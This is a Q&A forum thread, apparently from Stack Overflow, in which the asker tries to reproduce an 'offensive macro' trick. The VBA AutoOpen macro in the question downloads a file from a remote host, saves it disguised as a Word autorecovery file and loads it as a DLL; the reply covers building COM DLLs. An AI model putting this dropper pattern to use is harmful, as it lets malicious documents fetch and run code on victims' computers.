valkyrie
valkyrie

Reputation: 61

How to dynamically load a DLL in VBA using a DLL Trick

I'm reading this article: https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/ and for some reason I can't seem to replicate the second Dll trick i.e Storing Seemingly "Legitimate" Office Files That Are Really DLLs.

What I've already tried is created a simple c# DLL with an exported function that only displays a Message-box saying ".NET Assembly Running". The test.dll is run like so from the command line:

rundll32 test.dll,TestExport

But when I follow the article for some reason the code keeps failing. Here's my modified VBA after following the article:

Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()

Sub AutoOpen()
    Dim PathOfFile As String
    PathOfFile = Environ("AppData") & "\Microsoft\Word"
    VBA.ChDir PathOfFile

    Dim remoteFile As String
    Dim HTTPReq As Object

    remoteFile = "http://192.168.100.2:8443/test.js"

    storein = "Autorecovery save of Doc3.asd"

    Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
    HTTPReq.Open "GET", remoteFile, False
    HTTPReq.send

    If HTTPReq.Status = 200 Then
        Set output = CreateObject("ADODB.Stream")
        output.Open
        output.Type = 1
        output.Write HTTPReq.responseBody
        output.SaveToFile storein, 2
        output.Close

        Module2.Invoke
    End If

End Sub

Sub Invoke()
    TestExport
End Sub

And here's the C# code for the DLL:


using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace Test
{
    class Test
    {
        [DllExport]
        public static void TestExport()
        {
            MessageBox.Show(".NET Assembly Running");
        }
    }
}

I expected it to work just don't know why it didn't fit my VBA.

Upvotes: 0

Views: 1843

Answers (1)

Thomas Ludewig
Thomas Ludewig

Reputation: 725

It does not work like that in VBA. The DLL has to be a COM DLL and to be loaded by the VBA project reference. That also means that the DLL has to be registered in the Windows registry. So put your C# away and start VB.NET. Create a dll project and choose a COM-CLASS from the Templates.

Look at the first line here (

<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3

#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region

Public Sub New()
    MyBase.New()
End Sub

sub test
  'your code
end sub 

End Class

The fun part is that by the assembly advice all your subs and functions show up in VBA without any other action.

TO GET THIS WORK START VS IN ADMINISTRATOR MODE !!! Otherwise it has not the needed rights to also automatically do the dll registering.

If you are happy use some tool to convert the code to c#. Its also possible just to do the interface as a wrapper in VB.net :) Now you can reference the dll in VBA and do all the things with her like you can do with other dlls which work in VBA. Like:

    SUB tester
        dim x= new comclass3
        x.test
    end sub  

Some pitfalls i forget to mention. VBA and .NET do not speak all the time the same string language. Stupidly one way is converted automatically - the way back not. One talks for example in UTF8 an the other in BSTR. So if nothing or garbage is returned most likely you has not chosen the wrong string converter. I use the auto detect converter from .net if needed. You can get crazy by this. Also do not mix 32bit and 64 bit code or pointers. Autocad for example will nuke up immediatly by this. (Whatever genius drawing you might have inside - it doesnt cares).

Upvotes: 3

Related Questions